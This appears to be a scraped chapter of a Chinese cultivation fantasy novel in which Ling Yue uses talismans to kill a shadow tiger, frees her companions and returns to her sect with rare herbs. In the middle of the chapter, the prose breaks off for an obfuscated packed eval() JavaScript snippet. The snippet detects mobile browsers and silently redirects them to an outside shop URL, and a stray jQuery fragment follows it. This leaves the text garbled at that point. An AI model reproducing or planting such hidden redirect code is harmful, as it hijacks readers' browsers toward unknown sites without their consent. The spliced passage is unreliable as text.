白狼死前的惨叫响彻山林。
狼王一死,群狼却并没有如众人所料,溃不成军,它们依旧前仆后继,试图将面前几人撕碎。
短短的时间内,山洞外堆满了狼尸,范易和范蓉二人的身影也被淹没在狼堆里。
凌月用手抹去脸上的兽血,递到鼻尖闻了闻,一股腥臭味顿时充斥着整个鼻腔。
“真臭!”她嫌恶地看着身上,白狼血不仅撒了一地,还溅了她一身。
手上的剑只是凡品,受到冥气的侵蚀后剑身只剩短短一截,凌月干脆弃剑,从腰间掏出了两张符咒。
两张符咒被她夹在两指间,手腕一抖,符便燃了起来,化作红色的符文分别覆盖在她两只手上。
巨力符!
符咒燃尽的瞬间,凌月动了。
依旧是两道灵风符一左一右加持在她身后。一张灵风符,可提供一道风气,使用者可身轻如燕,速度如风。
两棵腰身粗大的巨树被人连根拔起,齐齐投向了幽影虎所在的位置,铺天盖地的密叶遮挡了视线……
比巨树更令人难以忍受的是寒彻透骨的杀意,像一张密不透风的网,不断逼近下方裹挟着不详黑气的凶兽。
被这股浓烈的杀意挑衅,幽影虎狂啸,虎尾狠狠摔到地上,砸出一道深深的凹陷,兽身回转,凶狠地扑向身后的密林中,用利爪迎上了覆盖着红色符文的两只手。
巨树和杀意都只是吸引对方注意的手段,凌月在灵风符的加持下居然直接绕到了幽影虎的后方……
厚重的黄光洒下,飞扑在空中的幽影虎身躯扭成了一道诡异的弧度,堪堪躲过了这道黄光。
这道重山符没能阻挡住黑虎,一股浓浓的血腥味扑面而来,凌月甚至已经能感受到利爪上的森森寒气……
六道灵风符咒立刻护在她的身前,一瞬间的加速,急退,将她带离虎爪之下。
嘴边的猎物消失在爪下,幽影虎一愣,凌月却趁着这个机会又一连往后退出几十步,六道灵风符的加持,令她的速度几乎到达了极致。
初一交手,双方都没讨到好。
疯狂的低吼声在林中久久回荡,利爪一闪而过,不断有巨树倒下,一次次凶狠的扑杀几乎都落了空,前方看似狼狈逃跑的人却没有被伤到分毫。
接连的落空,让幽影虎躁狂不已,此刻它已经杀红了眼,只想将前方的人影撕碎……
此处原本遮天蔽日的巨树在幽影虎的利爪下倒了一大片。
没了这些遮挡视线的巨树,视野顿时开阔起来,不必费劲便能看见远处天边有一道耀眼金光缓缓升起……
凌月身影一顿,停下脚步主动迎上那双可以撕碎一切的利爪。
拳头上的红色符文被全力催动,每一拳都带着千钧般的力道,撕碎了风声,狠狠砸在幽影虎的身上。
战况急转直下!
幽影虎从空中被击落,砸在地上滚出好几米远,没等它反应过来,一连串的攻击如雷霆急雨,狠狠落在虎身上。
一道厚重的黄光洒下,被打得不断呜咽的黑虎彻底没了挣扎的力气,只能趴在地上喘着粗气……
“先前我问的话,你还没回答。”凌月面无表情,覆盖着巨力符的腿重重踩在黑虎身上,“你是那只从幽都出逃的妖邪吗?”
没有回应,凌月看着地上装死的家伙自言自语道:“应该不是。你的实力太差了,明明有着筑基期的实力,却发挥不出来两成,不然徐康也不会在你手下护着两人逃走,不过真要论起来,没有那道冥气的侵蚀,你不是他的对手……”
天边大亮,双方打斗时,太阳已经缓缓升起,连绵的金光一寸一寸照进了潮湿幽暗的森林中。
笼罩在幽影虎身上的冥气在接触到阳光的瞬间化成了黑灰。
意识到对方是真的想杀了自己,这只曾经的丛林之王再也绷不住了。
“我说!我说!”
黑虎惨叫,身上的黑气四处逸散,露出了身上的白骨。
“它去了鹭湖!放过我,我……”
话音戛然而止,地上只留下了一片黑灰和一堆白骨,皱巴巴的虎皮没了支撑,从空中缓缓飘落,覆盖在白骨上。
原本奋不顾身的狼群动作一顿,见到周围全是同伴的尸体,一群残留的狼,呜咽着逃走了。
“别走!”
范易提着剑还想追上去,却被拎着虎皮回来的凌月阻止:“让它们走,现在驱使狼群的家伙已经没了,这群狼没什么威胁了。”
“可是……”范易一愣,还想说些什么,立刻被凌月打断:“你还有力气吗?”
范易这才发觉,握着剑的胳膊酸软的几乎快要提不起来。
不止是胳膊,全身都像被重物狠狠碾压过。之前在符阵中,他是硬扛着山的重量与群狼厮杀。
生死关头,原本还没什么感觉。经过凌月提醒,一种劫后余生的疲倦感顿时占据了整个身心。
他这才反应过来凌月话里的意思:“那只老虎死了?”
能与筑基期修士一较高下,一直阴魂不散追杀他们的凶兽死了,就丧命在眼前这个看起来没多大的小孩手上……
范易喉结滚动了两下,张嘴想说些什么,却又沉默下来。
“康叔!”
山洞里传来一道急促的哭声,范易心中重重一沉,不知何时,厚重的黄光已经消失不见。
两人对视一眼,快速赶了过去。
原本缠绕在徐康腰部的黑气因为缺少灵力的压制,此刻已经快把他整个人笼罩黑气中。一身脏污的范蓉守在徐康身边,将灵力源源不断输送给对方,试图压制着黑气的蔓延……
“把他抱去太阳下晒着。”
凌月神色不变,六道灵风符缠上徐康的腰部,将他带到了阳光下。
待兄妹俩赶过来时,她已经收拾好了浑身的脏污。
徐康躺在地上,淡淡的金辉照在他的身上,脸色虽然依旧苍白,却也染上了些许血色,之前身上久久未能愈合的伤口已经好得差不多了。
筑基期的修士,少了冥气的侵蚀,普通的外伤基本难以在肉身上留下痕迹。
“多谢你的剑。”
凌月将残剑还给范蓉,上面的污血被她用树叶擦去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696421|206563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光照之下依旧有一股淡淡的寒气。
“只不过上面挂着的青色剑穗,还得劳烦你多用清水清洗几遍……”
剑穗上面的青色已经褪去了大半,有些地方还能看出来明显的磨损,显然是常被主人握在手上把玩之物。
此刻因为沾上了许多污血,显得更破旧了。
凌月内心暗暗懊悔。之前情急之下借用对方的剑,不过半天的时间里,剑坏了不说,还弄脏了对方的心爱之物……
范蓉摇摇头,接过了这把剑,低声道:“这剑穗原本是我准备送给母亲的……”
她摸着剑穗,像是要把这些年来始终在脑海中回旋的惨叫声压下去。
“只不过当年出了意外,没能送出去……”
范蓉看着凌月脸上止不住的歉意,心中有一种奇怪的感觉,原本她还以为那些修士都是些见死不救,冷血无情的家伙,只有康叔是个例外……
或许是她想错了,那些冷血无情的才是少数。
心中多年的愤恨一夕之间烟消云散,范蓉神色严肃地对凌月行了一礼:“多谢你,凌道友。”
凌道友……
徐康听到这里微微一愣,范蓉天赋、资质在他眼里都是绝好的,可在她的心中却一直因生母的事情耿耿于怀。
徐康清楚,范蓉心里有多厌恶修士,如果不是自己的出现,恐怕她还会一直排斥修炼......
如今几人虽然莫名遭此横祸,但也算因祸得福了。
他心中欣慰,看着几人交谈甚欢的样子只觉得身上的痛似乎都轻了许多……
目前天色尚早,众人刚经历一场恶战,近乎力竭,正是需要休息的时候。凌月干脆又从范易手中接过地图,准备独自去寻找鹿角茸。
分别前,她接过范蓉拿出来的传送符看了半天,又将自己怀中的那道定向传送符重新标记好了定位后递给了一直沉默的范易。
“你们三个人拿着传送符去鹭湖等我三天……”
范易没有多问,只道:“三日后再见!”
与范易等人分开不久,凌月便在一处山崖下寻到了自己此行的目标。几朵鹿角茸紧紧依偎着,挤在一起,晶莹剔透的花瓣随风起舞……
她将这几朵鹿角茸全取了下来,放入怀中。
凌月干完这一切,拿出地图仔细辨认后,朝着某个方向疾驰而去。六道灵风符环绕身边,她的身形轻快,如一阵风,迫不及待踏上了回去的路。
不过才半天时间,就到了一片蓝绿色的湖泊前。
第一次来到这里时,她还是个凡人,被昆仑的风雪冻得说不出话来。这一次,她已经是个炼气期修士,在经历过几个时辰的长途跋涉后依旧精神奕奕……
凌月走到守界人面前,郑重行了一礼,这才踏上铺满细碎青石的小路。
回到宗门内,蓝色玉坠立刻化成一条黑色裂缝,一口将人吞了进去。经过冰冷、黑暗的观星台后,便看见了那翘着双腿在躺椅上悠闲摸鱼的老头。
凌月将怀中的鹿角茸放在柜台上。
老头看了一眼,少见地赞道:“干得不错!”